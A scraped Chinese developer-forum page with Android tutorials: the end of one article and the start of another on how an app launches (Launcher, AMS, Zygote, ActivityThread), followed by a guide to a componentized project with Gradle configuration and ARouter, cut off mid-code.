r.ident, app, r.intent, r.activityInfo, title, r.parent,
r.embeddedID, r.lastNonConfigurationInstances, config,
r.referrer, r.voiceInteractor, window, r.configCallback,
r.assistToken);

if (customIntent != null) {
activity.mIntent = customIntent;
}

//设置activity的主题
int theme = r.activityInfo.getThemeResource();
if (theme != 0) {
activity.setTheme(theme);
}

//调用activity的onCreate方法
if (r.isPersistable()) {
mInstrumentation.callActivityOnCreate(activity, r.state, r.persistentState);
} else {
mInstrumentation.callActivityOnCreate(activity, r.state);
}
}
}

return activity;
}

哇,终于看到onCreate方法了。稳住,还是一步步看看这段代码。


首先,创建了ContextImpl对象,ContextImpl可能有的朋友不知道是啥,ContextImpl继承自Context,其实就是我们平时用的上下文。有的同学可能表示,这不对啊,获取上下文明明获取的是Context对象。来一起跟随源码看看。


//Activity.java
Context mBase;

@Override
public Executor getMainExecutor() {
return mBase.getMainExecutor();
}

@Override
public Context getApplicationContext() {
return mBase.getApplicationContext();
}

这里可以看到,我们平时用的上下文就是这个mBase,那么找到这个mBase是啥就行了:


protected void attachBaseContext(Context base) {
if (mBase != null) {
throw new IllegalStateException("Base context already set");
}
mBase = base;
}

//一层层往上找

final void attach(Context context, ActivityThread aThread,
Instrumentation instr, IBinder token, int ident,
Application application, Intent intent, ActivityInfo info,
CharSequence title, Activity parent, String id,
NonConfigurationInstances lastNonConfigurationInstances,
Configuration config, String referrer, IVoiceInteractor voiceInteractor) {

attachBaseContext(context);

mWindow = new PhoneWindow(this, window, activityConfigCallback);
mWindow.setWindowControllerCallback(this);
mWindow.setCallback(this);
mWindow.setOnWindowDismissedCallback(this);
mWindow.getLayoutInflater().setPrivateFactory(this);
if (info.softInputMode != WindowManager.LayoutParams.SOFT_INPUT_STATE_UNSPECIFIED) {
mWindow.setSoftInputMode(info.softInputMode);
}


}

这不就是,,,刚才一开始performLaunchActivity方法里面的attach吗?太巧了,所以这个ContextImpl就是我们平时所用的上下文。


顺便看看attach还干了啥?新建了PhoneWindow,建立自己和Window的关联,并设置了setSoftInputMode等等。


ContextImpl创建完之后,会通过类加载器创建Activity的对象,然后设置好activity的主题,最后调用了activity的onCreate方法。


总结

再一起捋一遍App的启动流程:



  • Launcher被调用点击事件,转到Instrumentation类的startActivity方法。
  • Instrumentation通过跨进程通信告诉AMS要启动应用的需求。
  • AMS反馈Launcher,让Launcher进入Paused状态
  • Launcher进入Paused状态,AMS转到ZygoteProcess类,并通过socket与Zygote通信,告知Zygote需要新建进程。
  • Zygote fork进程,并调用ActivityThread的main方法,也就是app的入口。
  • ActivityThread的main方法新建了ActivityThread实例,并新建了Looper实例,开始loop循环。
  • 同时ActivityThread也告知AMS,进程创建完毕,开始创建Application,Provider,并调用Applicaiton的attach,onCreate方法。
  • 最后就是创建上下文,通过类加载器加载Activity,调用Activity的onCreate方法。

至此,应用启动完毕。


当然,分析源码的目的一直都不是为了学知识而学,而是理解了这些基础,我们才能更好的解决问题。 学习了App的启动流程,我们可以再思考下一些之前没理解透的问题,比如启动优化


分析启动过程,其实可以优化启动速度的地方有三个地方:



  • Application的attach方法,MultiDexApplication会在方法里面会去执行MultiDex逻辑。所以这里可以进行MultiDex优化,比如今日头条方案就是单独启动一个进程的activity去加载MultiDex。
  • Application的onCreate方法,大量三方库的初始化都在这里进行,所以我们可以开启线程池,懒加载等等。把每个启动任务进行区分,哪些可以子线程运行,哪些有先后顺序。
  • Activity的onCreate方法,同样进行线程处理,懒加载。或者预创建Activity,提前类加载等等。

最后希望各位老铁都能有一个乖巧可爱漂亮的女儿/儿子。😊


附件

fork使用多线程
今日头条启动优化
app启动流程分析


作者:积木zz
来源:https://juejin.cn/post/6867744083809419277

收起阅读 »

女儿拿着小天才电话手表问我App启动流程(上)

首先,new一个女儿,var mDdaughter = new 女儿("6岁",“漂亮可爱”,“健康乖巧”,“最喜欢玩小天才电话手表和她的爸爸”)“爸爸爸爸,你说我玩的这个小天才电话手表怎么这么厉害,随便点一下这个小图片,这个应用就冒出来了,就可以听儿歌了。好...
继续阅读 »



前言

首先,new一个女儿,

var mDdaughter = new 女儿("6岁",“漂亮可爱”,“健康乖巧”,“最喜欢玩小天才电话手表和她的爸爸”)

好了,女儿有了,有一天,女儿问我:

“爸爸爸爸,你说我玩的这个小天才电话手表怎么这么厉害,随便点一下这个小图片,这个应用就冒出来了,就可以听儿歌了。好神奇啊。”

我心里一惊: img

小天才电话手表的系统就是Android,所以这不就是。。面试官常考的应用启动流程嘛!
女儿也要来面试我了吗!😭
好了,既然女儿问了,那就答吧。
但是,对付这个小小的0经验面试官,我该咋说呢?

解答小小面试官

女儿,你可以把手表里面想象成一个幼儿园,里面有一个老师,一个班长,一个班干部,以及一大堆小朋友。

  • 一个老师:Z老师(Zygote进程)

  • 一个班长:小A(ActivityManagerService)

  • 一个班干部:小L(Launcher桌面应用)

  • 一大堆小朋友:所有应用,包括音乐小朋友,聊天小朋友,日历小朋友等等。

img

应用启动过程就像一个小朋友被叫醒一样,开机之后呢,Z老师会依次叫醒班长和班干部(SystemServer#ActivityManagerService,Launcher),小L醒了之后就会去了解手表里有哪些小朋友,长什么样(icon,name),家庭信息(包名,androidmanifest)等等,然后一个个把小朋友的照片(icon)贴到自己的身上。比如有音乐小朋友,聊天小朋友,日历小朋友,其实也就是你手表上这个桌面啦。

这时候你要点开一个音乐小朋友呢(startActivity),小L就会通知班长小A(Binder),小A知道了之后,让小L自己休息下(Paused),然后就去找Z老师了。Z老师就负责叫音乐小朋友起床了(fork进程,启动ActivityThread),音乐小朋友起来后就又找小A带她去洗脸刷牙(启动ApplicationThread,Activity),都弄完了就可以进行各种表演了,唱歌啊,跳舞啊。

不是很明白啊?我们一起聊个天你就懂了,假如我是Launcher

img

img

女儿似懂非懂的给我点了一个赞👍,爸爸你真棒。

十五年后

mDdaughter.grow(15)
mDdaughter.study("Android")

过了十五年,女儿已经21岁了,正在学习Android,考虑要不要女从父业。

这天,她一脸疑惑的来找我: “爸,这个app启动到底是怎么个流程啊,我看了好久还是不大明白,要不你再跟我详细讲一遍吧?” “好嘞,别担心,我这次详细跟你说说”

解答Android程序媛

还记得我小时候跟你说过的故事吗,Android系统就像一个幼儿园,有一个大朋友叫Launcher,身上会贴很多其他小朋友的名片。这个Launcher就是我们的桌面了,它通过PackageManagerService获知了系统里所有应用的信息,并展示了出来,当然它本身也是一个应用。

通过点击一个应用图标,也就是触发了点击事件,最后会执行到startActivity方法。这里也就和启动Activity步骤重合上了。

那么这个startActivity干了啥?是怎么通过重重关卡唤醒这个应用的?

首先,介绍下系统中那些重要的成员,他们在app启动流程中都担任了重要的角色.

系统成员介绍

  • init进程,Android系统启动后,Zygote并不是第一个进程,而是linux的根进程init进程,然后init进程才会启动Zygote进程。

  • Zygote进程,所有android进程的父进程,当然也包括SystemServer进程

  • SystemServer进程,正如名字一样,系统服务进程,负责系统中大大小小的事物,为此也是启动了三员大将(ActivityManagerService,PackageManagerService,WindowManagerService)以及binder线程池。

  • ActivityManagerService,主要负责系统中四大组件的启动、切换、调度及应用进程的管理和调度等工作,对于一些进程的启动,都会通过Binder通信机制传递给AMS,再处理给Zygote。

  • PackageManagerService,主要负责应用包的一些操作,比如安装,卸载,解析AndroidManifest.xml,扫描文件信息等等。

  • WindowManagerService,主要负责窗口相关的一些服务,比如窗口的启动,添加,删除等。

  • Launcher,桌面应用,也是属于应用,也有自己的Activity,一开机就会默认启动,通过设置Intent.CATEGORY_HOME的Category隐式启动。

搞清楚这些成员,就跟随我一起看看怎么过五关斩六将,最终启动了一个App。

第一关:跨进程通信,告诉系统我的需求

首先,要告诉系统,我Launcher要启动一个应用了,调用Activity.startActivityForResult方法,最终会转到mInstrumentation.execStartActivity方法。 由于Launcher自己处在一个单独的进程,所以它需要跨进程告诉系统服务我要启动App的需求。 找到要通知的Service,名叫ActivityTaskManagerService,然后使用AIDL,通过Binder与他进行通信。

这里的简单说下ActivityTaskManagerService(简称ATMS)。原来这些通信工作都是属于ActivityManagerService,现在分了一部分工作给到ATMS,主要包括四大组件的调度工作。也是由SystemServer进程直接启动的,相关源码可见ActivityManagerService.Lifecycle.startService方法,感兴趣朋友可以自己看看。

接着说跨进程通信,相关代码如下:

//Instrumentation.java
int result = ActivityTaskManager.getService()
  .startActivity(whoThread, who.getBasePackageName(), intent,
                  intent.resolveTypeIfNeeded(who.getContentResolver()),
                  token, target != null ? target.mEmbeddedID : null,
                  requestCode, 0, null, options);


//ActivityTaskManager.java            
public static IActivityTaskManager getService() {
   return IActivityTaskManagerSingleton.get();
}
private static final Singleton<IActivityTaskManager> IActivityTaskManagerSingleton =
   new Singleton<IActivityTaskManager>() {
   @Override
   protected IActivityTaskManager create() {
       final IBinder b = ServiceManager.getService(Context.ACTIVITY_TASK_SERVICE);
       return IActivityTaskManager.Stub.asInterface(b);
  }
};

//ActivityTaskManagerService.java
public class ActivityTaskManagerService extends IActivityTaskManager.Stub

   public static final class Lifecycle extends SystemService {
       private final ActivityTaskManagerService mService;

       public Lifecycle(Context context) {
           super(context);
           mService = new ActivityTaskManagerService(context);
      }

       @Override
       public void onStart() {
           publishBinderService(Context.ACTIVITY_TASK_SERVICE, mService);
           mService.start();
      }
  }

startActivity我们都很熟悉,平时启动Activity都会使用,启动应用也是从这个方法开始的,也会同样带上intent信息,表示要启动的是哪个Activity。

另外要注意的一点是,startActivity之后有个checkStartActivityResult方法,这个方法是用作检查启动Activity的结果。当启动Activity失败的时候,就会通过这个方法抛出异常,比如有我们常见的问题:未在AndroidManifest.xml注册。

public static void checkStartActivityResult(int res, Object intent) {
   switch (res) {
       case ActivityManager.START_INTENT_NOT_RESOLVED:
       case ActivityManager.START_CLASS_NOT_FOUND:
           if (intent instanceof Intent && ((Intent)intent).getComponent() != null)
               throw new ActivityNotFoundException(
               "Unable to find explicit activity class "
               + ((Intent)intent).getComponent().toShortString()
               + "; have you declared this activity in your AndroidManifest.xml?");
           throw new ActivityNotFoundException(
               "No Activity found to handle " + intent);
       case ActivityManager.START_PERMISSION_DENIED:
           throw new SecurityException("Not allowed to start activity "
                                       + intent);
       case ActivityManager.START_FORWARD_AND_REQUEST_CONFLICT:
           throw new AndroidRuntimeException(
               "FORWARD_RESULT_FLAG used while also requesting a result");
       case ActivityManager.START_NOT_ACTIVITY:
           throw new IllegalArgumentException(
               "PendingIntent is not an activity");
           //...
  }
}

第二关:通知Launcher可以休息了

ATMS收到要启动的消息后,就会通知上一个应用,也就是Launcher可以休息会了,进入Paused状态。

//ActivityStack.java

private boolean resumeTopActivityInnerLocked(ActivityRecord prev, ActivityOptions options) {
   //...
   ActivityRecord next = topRunningActivityLocked(true /* focusableOnly */);
   //...
   boolean pausing = getDisplay().pauseBackStacks(userLeaving, next, false);
   if (mResumedActivity != null) {
       if (DEBUG_STATES) Slog.d(TAG_STATES,
                                "resumeTopActivityLocked: Pausing " + mResumedActivity);
       pausing |= startPausingLocked(userLeaving, false, next, false);
  }
   //...

   if (next.attachedToProcess()) {
       //应用已经启动
       try {
           //...
           transaction.setLifecycleStateRequest(
               ResumeActivityItem.obtain(next.app.getReportedProcState(),
                                         getDisplay().mDisplayContent.isNextTransitionForward()));
           mService.getLifecycleManager().scheduleTransaction(transaction);
           //...
      } catch (Exception e) {
           //...
           mStackSupervisor.startSpecificActivityLocked(next, true, false);
           return true;
      }
       //...
       // From this point on, if something goes wrong there is no way
       // to recover the activity.
       try {
           next.completeResumeLocked();
      } catch (Exception e) {
           // If any exception gets thrown, toss away this
           // activity and try the next one.
           Slog.w(TAG, "Exception thrown during resume of " + next, e);
           requestFinishActivityLocked(next.appToken, Activity.RESULT_CANCELED, null,
                                       "resume-exception", true);
           return true;
      }
  } else {
       //冷启动流程
       mStackSupervisor.startSpecificActivityLocked(next, true, true);
  }        
}

这里有两个类没有见过:

  • ActivityStack,是Activity的栈管理,相当于我们平时项目里面自己写的Activity管理类,用于管理Activity的状态啊,如栈出栈顺序等等。

  • ActivityRecord,代表具体的某一个Activity,存放了该Activity的各种信息。

startPausingLocked方法就是让上一个应用,这里也就是Launcher进入Paused状态。 然后就会判断应用是否启动,如果已经启动了,就会走ResumeActivityItem的方法,看这个名字,结合应用已经启动的前提,是不是已经猜到了它是干吗的?没错,这个就是用来控制Activity的onResume生命周期方法的,不仅是onResume还有onStart方法,具体可见ActivityThread的handleResumeActivity方法源码。

如果应用没启动就会接着走到startSpecificActivityLocked方法,接着看。

第三关:是否已启动进程,否则创建进程

Launcher进入Paused之后,ActivityTaskManagerService就会判断要打开的这个应用进程是否已经启动,如果已经启动,则直接启动Activity即可,这也就是应用内的启动Activity流程。如果进程没有启动,则需要创建进程。

这里有两个问题:

  • 怎么判断应用进程是否存在呢?如果一个应用已经启动了,会在ATMS里面保存一个WindowProcessController信息,这个信息包括processName和uid,uid则是应用程序的id,可以通过applicationInfo.uid获取。processName则是进程名,一般为程序包名。所以判断是否存在应用进程,则是根据processName和uid去判断是否有对应的WindowProcessController,并且WindowProcessController里面的线程不为空。代码如下:

//ActivityStackSupervisor.java
void startSpecificActivityLocked(ActivityRecord r, boolean andResume, boolean checkConfig) {
   // Is this activity's application already running?
   final WindowProcessController wpc =
       mService.getProcessController(r.processName, r.info.applicationInfo.uid);

   boolean knownToBeDead = false;
   if (wpc != null && wpc.hasThread()) {
       //应用进程存在
       try {
           realStartActivityLocked(r, wpc, andResume, checkConfig);
           return;
      }
  }
}

//WindowProcessController.java
IApplicationThread getThread() {
   return mThread;
}

boolean hasThread() {
   return mThread != null;
}
  • 还有个问题就是怎么创建进程?还记得Z老师吗?对,就是Zygote进程。之前说了他是所有进程的父进程,所以就要通知Zygote去fork一个新的进程,服务于这个应用。

//ZygoteProcess.java
private Process.ProcessStartResult attemptUsapSendArgsAndGetResult(
   ZygoteState zygoteState, String msgStr)
   throws ZygoteStartFailedEx, IOException {
   try (LocalSocket usapSessionSocket = zygoteState.getUsapSessionSocket()) {
       final BufferedWriter usapWriter =
           new BufferedWriter(
           new OutputStreamWriter(usapSessionSocket.getOutputStream()),
           Zygote.SOCKET_BUFFER_SIZE);
       final DataInputStream usapReader =
           new DataInputStream(usapSessionSocket.getInputStream());

       usapWriter.write(msgStr);
       usapWriter.flush();

       Process.ProcessStartResult result = new Process.ProcessStartResult();
       result.pid = usapReader.readInt();
       // USAPs can't be used to spawn processes that need wrappers.
       result.usingWrapper = false;

       if (result.pid >= 0) {
           return result;
      } else {
           throw new ZygoteStartFailedEx("USAP specialization failed");
      }
  }
}

可以看到,这里其实是通过socket和Zygote进行通信,BufferedWriter用于读取和接收消息。这里将要新建进程的消息传递给Zygote,由Zygote进行fork进程,并返回新进程的pid。

可能又会有人问了?fork是啥?为啥这里又变成socket进行IPC通信,而不是Bindler了?

  • 首先,fork()是一个方法,是类Unix操作系统上创建进程的主要方法。用于创建子进程(等同于当前进程的副本)。

  • 那为什么fork的时候不用Binder而用socket了呢?主要是因为fork不允许存在多线程,Binder通讯偏偏就是多线程。

问题总是在不断产生,总有好奇的朋友会接着问,为什么fork不允许存在多线程?

收起阅读 »

Android 手把手带你搭建一个组件化项目架构

🔥 一、组件化作为一个单工程撸到底的开发人员,想试着将项目进行组件化改造,说动就动。毕竟技术都是写出来的,看着文章感觉懂了,但是实际开发中还是能遇到各种各样的问题,开始搞起来。💥 1.1 为什么使用组件化一直使用单工程撸到底,项目越来越大导致出现了不少的问题:...
继续阅读 »



🔥 一、组件化

作为一个单工程撸到底的开发人员,想试着将项目进行组件化改造,说动就动。毕竟技术都是写出来的,看着文章感觉懂了,但是实际开发中还是能遇到各种各样的问题,开始搞起来。

💥 1.1 为什么使用组件化

一直使用单工程撸到底,项目越来越大导致出现了不少的问题:

  • 查找问题慢:定位问题,需要在多个代码混合的模块中寻找和跳转。

  • 开发维护成本增加:避免代码的改动影响其它业务的功能,导致开发和维护成本不断增加。

  • 编译时间长:项目工程越大,编译完整代码所花费的时间越长。

  • 开发效率低:多人协作开发时,开发风格不一,又很难将业务完全分割,大家互相影响,导致开发效率低下。

  • 代码复用性差:写过的代码很难抽离出来再次利用。

💥 1.2 模块化与组件化

🌀 1.2.1 模块

一个程序按照其功能做拆分,分成相互独立的模块,以便于每个模块只包含与其功能相关的内容,比如登录模块首页模块等等。

🌀 1.2.2 组件

组件指的是单一的功能组件,如登录组件视频组件支付组件 等,每个组件都可以以一个单独的 module 开发,并且可以单独抽出来作为 SDK 对外发布使用。可以说往往一个模块包含了一个或多个组件。

💥 1.3 组件化的优势

组件化基于可重用的目的,将应用拆分成多个独立组件,以减少耦合:

  • 加快编译速度:每个业务功能都是一个单独的工程,可独立编译运行,拆分后代码量较少,编译自然变快。

  • 解耦:通过关注点分离的形式,将App分离成多个模块,每个模块都是一个组件。

  • 提高开发效率:多人开发中,每个组件模块由单人负责,降低了开发之间沟通的成本,减少因代码风格不一而产生的相互影响。

  • 代码复用:类似我们引用的第三方库,可以将基础组件或功能组件剥离。在新项目微调或直接使用。

💥 1.4 组件化需要解决的问题

  • 组件分层:怎么将一个项目分成多个组件、组件间的依赖关系是怎么样的?

  • 组件单独运行和集成调试:组件是如何独立运行和集成调试的?

  • 组件间通信:主项目与组件、组件与组件之间如何通信就变成关键?

🔥 二、组件分层

组件依赖关系是上层依赖下层,修改频率是上层高于下层。先上一张图:

img

💥 2.1 基础组件

基础公共模块,最底层的库:

  • 封装公用的基础组件;

  • 网络访问框架、图片加载框架等主流的第三方库;

  • 各种第三方SDK。

💥 2.2 common组件(lib_common)

  • 支撑业务组件、功能组件的基础(BaseActivity/BaseFragment等基础能力;

  • 依赖基础组件层;

  • 业务组件、功能组件所需的基础能力只需要依赖common组件即可获得。

💥 2.3 功能组件

  • 依赖基础组件层;

  • 对一些公用的功能业务进行封装与实现;

  • 业务组件可以在library和application之间切换,但是最后打包时必须是library ;

💥 2.4 业务组件

  • 可直接依赖基础组件层;同时也能依赖公用的一些功能组件;

  • 各组件之间不存在依赖关系,通过路由进行通信;

  • 业务组件可以在library和application之间切换,但是最后打包时必须是library ;

💥 2.5 主工程(app)

  • 只依赖各业务组件;

  • 除了一些全局的配置和主Activity之外,不包含任何业务代码,是应用的入口;

💥 2.6 完成后项目

img

这只是个大概,并不是说必须这样,可以按照自己的方式来。比如:你觉得基础组件比较多导致project里面的项目太多,那么你可以创建一个lib_base,然在lib_base里面再创建其他基础组件即可。

🔥 三、组件单独调试

💥 3.1 创建组件(收藏)

img

  • library和application之间切换:选择第一项。

  • 始终是library:选择第二项

这样尽可能的减少变动项,当然这仅仅是个建议,看个人习惯吧。

因为咱们创建的是一个module,所以在AndridManifest中添加android:exported="true"属性可直接构建一个APK。下面咱们看看如何生成不同的工程类型。

💥 3.2 动态配置组件的工程类型

在 AndroidStudio 开发 Android 项目时,使用的是 Gradle 来构建,具体来说使用的是 Android Gradle 插件来构建,Android Gradle 中提供了三种插件,在开发中可以通过配置不同的插件来构建不同的工程。

🌀 3.2.1 build.gradle(module)

//构建后输出一个 APK 安装包
apply plugin: 'com.android.application'
//构建后输出 ARR 包
apply plugin: 'com.android.library'
//配置一个 Android Test 工程
apply plugin: 'com.android.test'

独立调试:设置为 Application 插件。

集成调试:设置为 Library 插件。

🌀 3.2.2 设置gradle.properties

img

isDebug = true 独立调试

🌀 3.2.3 动态配制插件(build.gradle)

//注意gradle.properties中的数据类型都是String类型,使用其他数据类型需要自行转换
if(isDebug.toBoolean()){
   //构建后输出一个 APK 安装包
   apply plugin: 'com.android.application'
}else{
   //构建后输出 ARR 包
   apply plugin: 'com.android.library'
}

💥 3.3 动态配置组件的 ApplicationId 和 AndroidManifest 文件

  • 一个 APP 是只有一个 ApplicationId ,所以在单独调试集成调试组件的 ApplicationId 应该是不同的。

  • 单独调试时也是需要有一个启动页,当集成调试时主工程和组件的AndroidManifest文件合并会产生多个启动页。

根据上面动态配制插件的经验,我们也需要在build.gradle中动态配制ApplicationId 和 AndroidManifest 文件。

🌀 3.3.1 准备两个不同路径的 AndroidManifest 文件

img

有什么不同?咱们一起看看具体内容。

🌀 3.3.2 src/main/debug/AndroidManifest

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
   package="com.scc.module.collect">

   <application
       android:allowBackup="true"
       android:icon="@mipmap/ic_launcher"
       android:label="@string/app_name"
       android:roundIcon="@mipmap/ic_launcher_round"
       android:supportsRtl="true"
       android:theme="@style/Theme.SccMall">
       <activity android:name=".CollectActivity"
           android:exported="true">
           <intent-filter>
               <action android:name="android.intent.action.MAIN" />

               <category android:name="android.intent.category.LAUNCHER" />
           </intent-filter>
       </activity>
   </application>

</manifest>

🌀 3.3.3 src/main/debug/AndroidManifest

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
   package="com.scc.module.collect">
   <application
       android:allowBackup="true"
       android:supportsRtl="true"
       >
       <activity android:name=".CollectActivity"/>
   </application>

</manifest>

🌀 3.3.4 动态配制(build.gradle)

defaultConfig {
   if(isDebug.toBoolean()){
       //独立调试的时候才能设置applicationId
       applicationId "com.scc.module.collect"
  }
}
sourceSets {
   main {
       if (isDebug.toBoolean()) {
           //独立调试
           manifest.srcFile 'src/main/debug/AndroidManifest.xml'
      } else {
           //集成调试
           manifest.srcFile 'src/main/AndroidManifest.xml'
      }
  }
}

💥 3.4 实现效果

🌀 3.4.1 独立调试

isDebug = true

img

🌀 3.4.2 集成调试

isDebug = false

img

🔥 四、Gradle配置统一管理

💥 4.1 config.gradle

当我们需要进行插件版本、依赖库版本升级时,项目多的话改起来很麻烦,这时就需要我们对Gradle配置统一管理。如下:

img

具体内容

ext{
   //组件独立调试开关, 每次更改值后要同步工程
   isDebug = true
   android = [
           // 编译 SDK 版本
           compileSdkVersion: 31,
           // 最低兼容 Android 版本
           minSdkVersion   : 21,
           // 最高兼容 Android 版本
           targetSdkVersion : 31,
           // 当前版本编号
           versionCode     : 1,
           // 当前版本信息
           versionName     : "1.0.0"
  ]
   applicationid = [
           app:"com.scc.sccmall",
           main:"com.scc.module.main",
           webview:"com.scc.module.webview",
           login:"com.scc.module.login",
           collect:"com.scc.module.collect"
  ]
   dependencies = [
           "appcompat"         :'androidx.appcompat:appcompat:1.2.0',
           "material"         :'com.google.android.material:material:1.3.0',
           "constraintlayout" :'androidx.constraintlayout:constraintlayout:2.0.1',
           "livedata"         :'androidx.lifecycle:lifecycle-livedata:2.4.0',
           "viewmodel"         :'androidx.lifecycle:lifecycle-viewmodel:2.4.0',
           "legacyv4"         :'androidx.legacy:legacy-support-v4:1.0.0',
           "splashscreen"     :'androidx.core:core-splashscreen:1.0.0-alpha01'
  ]
   libARouter= 'com.alibaba:arouter-api:1.5.2'
   libARouterCompiler = 'com.alibaba:arouter-compiler:1.5.2'
   libGson = 'com.google.code.gson:gson:2.8.9'
}

💥 4.2 添加配制文件build.gradle(project)

apply from:"config.gradle"

💥 4.3 其他组件使用

//build.gradle
//注意gradle.properties中的数据类型都是String类型,使用其他数据类型需要自行转换
if(isDebug.toBoolean()){
   //构建后输出一个 APK 安装包
   apply plugin: 'com.android.application'
}else{
   //构建后输出 ARR 包
   apply plugin: 'com.android.library'
}
android {
   compileSdkVersion 31

   defaultConfig {
       if(isDebug.toBoolean()){
           //独立调试的时候才能设置applicationId
           applicationId "com.scc.module.collect"
      }
       minSdkVersion 21
       targetSdkVersion 31
       versionCode 1
       versionName "1.0"

       testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
  }

   buildTypes {
       release {
           minifyEnabled false
           proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
      }
  }
   sourceSets {
       main {
           if (isDebug.toBoolean()) {
               //独立调试
               manifest.srcFile 'src/main/debug/AndroidManifest.xml'
          } else {
               //集成调试
               manifest.srcFile 'src/main/AndroidManifest.xml'
          }
      }
  }
   compileOptions {
       sourceCompatibility JavaVersion.VERSION_1_8
       targetCompatibility JavaVersion.VERSION_1_8
  }
}

dependencies {
//   implementation root.dependencies.appcompat
//   implementation root.dependencies.material
//   implementation root.dependencies.constraintlayout
//   implementation root.dependencies.livedata
//   implementation root.dependencies.viewmodel
//   implementation root.dependencies.legacyv4
//   implementation root.dependencies.splashscreen
//   implementation root.libARouter
   //上面内容在lib_common中已经添加咱们直接依赖lib_common
   implementation project(':lib_common')

   testImplementation 'junit:junit:4.+'
   androidTestImplementation 'androidx.test.ext:junit:1.1.2'
   androidTestImplementation 'androidx.test.espresso:espresso-core:3.3.0'
}

🔥 五、组件间界面跳转(ARouter)

💥 5.1 介绍

Android 中的界面跳转那是相当简单,但是在组件化开发中,由于不同组件式没有相互依赖的,所以不可以直接访问彼此的类,这时候就没办法通过显式的方式实现了。

所以在这里咱们采取更加灵活的一种方式,使用 Alibaba 开源的 ARouter 来实现。

一个用于帮助 Android App 进行组件化改造的框架 —— 支持模块间的路由、通信、解耦

文档介绍的蛮详细的,感兴趣的可以自己实践一下。这里做个简单的使用。

💥 5.2 使用

🌀 5.2.1 添加依赖

先在统一的config.gradle添加版本等信息

ext{
  ...
   libARouter= 'com.alibaba:arouter-api:1.5.2'
   libARouterCompiler = 'com.alibaba:arouter-compiler:1.5.2'
}

因为所有的功能组件和业务组件都依赖lib_common,那么咱们先从lib_common开始配制

lib_common

dependencies {
   api root.libARouter
  ...
}

其他组件(如collect)

android {
   defaultConfig {
      ...
       javaCompileOptions {
           annotationProcessorOptions {
               arguments = [AROUTER_MODULE_NAME: project.getName()]
               //如果项目内有多个annotationProcessor,则修改为以下设置
               //arguments += [AROUTER_MODULE_NAME: project.getName()]
          }
      }
  }
}

dependencies {
   //arouter-compiler的注解依赖需要所有使用 ARouter 的 module 都添加依赖
   annotationProcessor root.libARouterCompiler
  ...
}

🌀 5.2.2 添加注解

你要跳转的Activity

// 在支持路由的页面上添加注解(必选)
// 这里的路径需要注意的是至少需要有两级,/xx/xx
@Route(path = "/collect/CollectActivity")
public class CollectActivity extends AppCompatActivity {
   @Override
   protected void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.activity_collect);
  }
}

🌀 5.2.3 初始化SDK(主项目Application)

public class App extends BaseApplication {
   @Override
   public void onCreate() {
       super.onCreate();
       if (isDebug()) {           // 这两行必须写在init之前,否则这些配置在init过程中将无效
           ARouter.openLog();     // 打印日志
           ARouter.openDebug();   // 开启调试模式(如果在InstantRun模式下运行,必须开启调试模式!线上版本需要关闭,否则有安全风险)
      }
       ARouter.init(this); // 尽可能早,推荐在Application中初始化
  }
   private boolean isDebug() {
       return BuildConfig.DEBUG;
  }
}

💥 5.3 发起路由操作

🌀 5.3.1 应用内简单的跳转

ARouter.getInstance().build("/collect/CollectActivity").navigation();

这里是用module_main的HomeFragment跳转至module_collect的CollectActivity界面,两个module中不存在依赖关系。"/collect/CollectActivity"在上面已注册就不多描述了。

效果如下:

img

🌀 5.3.2 跳转并携带参数

这里是用module_main的MineFragment的Adapter跳转至module_webview的WebViewActivity界面,两个module中同样不存在依赖关系。

启动方

ARouter.getInstance().build("/webview/WebViewActivity")
  .withString("url", bean.getUrl())
  .withString("content",bean.getName())
  .navigation();

这里传了两个参数urlname到WebViewActivity,下面咱们看看WebViewActivity怎么接收。

接收方

//为每一个参数声明一个字段,并使用 @Autowired 标注
//URL中不能传递Parcelable类型数据,通过ARouter api可以传递Parcelable对象
//添加注解(必选)
@Route(path = "/webview/WebViewActivity")
public class WebViewActivity extends BaseActivity<ActivityWebviewBinding, WebViewViewModel> {
   //发送方和接收方定义的key名称相同则无需处理
   @Autowired
   public String url;
   //通过name来映射URL中的不同参数
   //发送方定义key为content,我们用title来接收
   @Autowired(name = "content")
   public String title;

   @Override
   protected void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       //注入参数和服务(这里用到@Autowired所以要设置)
       //不使用自动注入,可不写,如CollectActivity没接收参数就没有设置
       ARouter.getInstance().inject(this);
       binding.btnBoom.setText(String.format("%s,你来啦", title));
       //加载链接
       initWebView(binding.wbAbout, url);
  }
}

上效果图:

搞定,更多高级玩法可自行探索。

🌀 5.3.3 小记(ARouter目标不存在)

W/ARouter::: ARouter::There is no route match the path

这里出现个小问题,配置注释都好好的,但是发送发无论如何都找不到设置好的Activity。尝试方案:

  • Clean Project

  • Rebuild Project

  • 在下图也能找到ARouter内容。

后来修改Activity名称好了。

img

🔥 六、组件间通信(数据传递)

界面跳转搞定了,那么数据传递怎么办,我在module_main中使用悬浮窗,但是需要判断这个用户是否已登录,再执行后续逻辑,这个要怎么办?这里我们可以采用 接口 + ARouter 的方式来解决。

在这里可以添加一个 componentbase 模块,这个模块被所有的组件依赖

这里我们通过 module_main组件 中调用 module_login组件 中的方法来获取登录状态这个场景来演示。

💥 6.1 通过依赖注入解耦:服务管理(一) 暴露服务

🌀 6.1.1 创建 componentbase 模块(lib)

img

🌀 6.1.2 创建接口并继承IProvider

注意:接口必须继承IProvider,是为了使用ARouter的实现注入。

img

🌀 6.1.3 在module_login组件中实现接口

lib_common

所有业务组件和功能组件都依赖lib_common,所以咱们直接在lib_common添加依赖即可

dependencies {
  ...
   api project(":lib_componentbase")
}

module_login

dependencies {
  ...
   implementation project(':lib_common')
}

实现接口

//实现接口
@Route(path = "/login/AccountServiceImpl")
public class AccountServiceImpl implements IAccountService {
   @Override
   public boolean isLogin() {
       MLog.e("AccountServiceImpl.isLogin");
       return true;
  }

   @Override
   public String getAccountId() {
       MLog.e("AccountServiceImpl.getAccountId");
       return "1000";
  }

   @Override
   public void init(Context context) {

  }
}

img

💥 6.2 通过依赖注入解耦:服务管理(二) 发现服务

🌀 6.2.1 在module_main中调用调用是否已登入

public class HomeFragment extends BaseFragment<FragmentHomeBinding> {
   @Autowired
   IAccountService accountService;
   @Override
